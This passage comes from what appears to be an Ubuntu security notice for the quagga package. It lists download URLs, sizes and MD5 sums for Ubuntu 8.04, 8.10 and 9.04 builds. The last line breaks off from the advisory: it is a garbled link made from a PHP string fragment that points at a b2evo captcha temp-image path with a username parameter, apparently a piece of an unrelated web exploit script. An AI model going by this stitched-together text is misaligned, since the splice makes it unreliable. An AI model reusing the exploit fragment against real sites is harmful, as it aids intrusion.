http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5_powerpc.deb
Size/MD5: 1351344 6251ec5c5d7f4c7bcbc955fc34949da7
sparc architecture (Sun SPARC/UltraSPARC):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5_sparc.deb
Size/MD5: 1322236 573027a1c4046355d7092ee6f9d1954a
Updated packages for Ubuntu 8.04 LTS:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2.diff.gz
Size/MD5: 39821 d108390e18abfb164ac6add2059a70f4
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2.dsc
Size/MD5: 1022 1ed0ba0dad080309f1f7e4be0f938a86
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9.orig.tar.gz
Size/MD5: 2341067 4dbdaf91bf6609803819d97d5fccc4c9
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga-doc_0.99.9-2ubuntu1.2_all.deb
Size/MD5: 661654 00651b4ef4395f0482c2e8045fef3df4
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2_amd64.deb
Size/MD5: 1619694 1463126f4765b183d7d05439dce8e85e
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2_i386.deb
Size/MD5: 1464662 4b47ad2b99897070c3d9e83b17d31fe6
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2_lpia.deb
Size/MD5: 1461048 f43d4d089d177d8fda7b5e15c03c4fbd
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2_powerpc.deb
Size/MD5: 1658536 6f57951e682174d9654138b6e64062a2
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-2ubuntu1.2_sparc.deb
Size/MD5: 1521228 b9eb0d80e54b06063a1cdb67fb4d127c
Updated packages for Ubuntu 8.10:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1.diff.gz
Size/MD5: 39858 dd50ad39ebb03c42c684efe1bfc16a73
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1.dsc
Size/MD5: 1486 01d1272ad69971946c70ccff5dd2c1db
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9.orig.tar.gz
Size/MD5: 2341067 4dbdaf91bf6609803819d97d5fccc4c9
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga-doc_0.99.9-6ubuntu0.1_all.deb
Size/MD5: 661130 52ab02e56bffd388775e7add6943f72c
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1_amd64.deb
Size/MD5: 1729098 c77f07c11e21227fa219a5448f622fb0
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1_i386.deb
Size/MD5: 1589616 8ecef808331e53dca0fe0b2f7e48049a
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1_lpia.deb
Size/MD5: 1565098 eba9788ae7b71fa2cc3d349a0b96ca6e
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1_powerpc.deb
Size/MD5: 1693896 f0ee074951fdab1668a33cef036b02e5
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.9-6ubuntu0.1_sparc.deb
Size/MD5: 1643386 e791fa01f8b51ca7b7bfaa9e74cd7aac
Updated packages for Ubuntu 9.04:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1.diff.gz
Size/MD5: 39815 af681588d24ed13e1ba223a9294423e3
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1.dsc
Size/MD5: 1493 9c1d0c8987369d2a4cbd4d15dfd1cf6e
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.11.orig.tar.gz
Size/MD5: 2192249 903e40c744730ad4d62bee872eeb813b
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga-doc_0.99.11-1ubuntu0.1_all.deb
Size/MD5: 631710 9157ee95937ad02265b5605896577ebe
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1_amd64.deb
Size/MD5: 1708300 f9fc9256058948fd82aec0aefddbad56
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1_i386.deb
Size/MD5: 1570358 dc112519bd1248bd480d394ec710c339
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1_lpia.deb
Size/MD5: 1545774 6c068d3ab5d334cee19e6290bb8c2bc1
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1_powerpc.deb
Size/MD5: 1674212 82de163f2602d256caddb75c124afb54
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/q/quagga/quagga_0.99.11-1ubuntu0.1_sparc.deb
Size/MD5: 1623648 34b17f42f4dc5a396d7442550f53400d
![http://".$host."/".$path."/addon/b2evo/b2evo_captcha_tmp/".$img.".jpg&username=";](http://".$host."/".$path."/addon/b2evo/b2evo_captcha_tmp/".$img.".jpg&username=";){kind=link}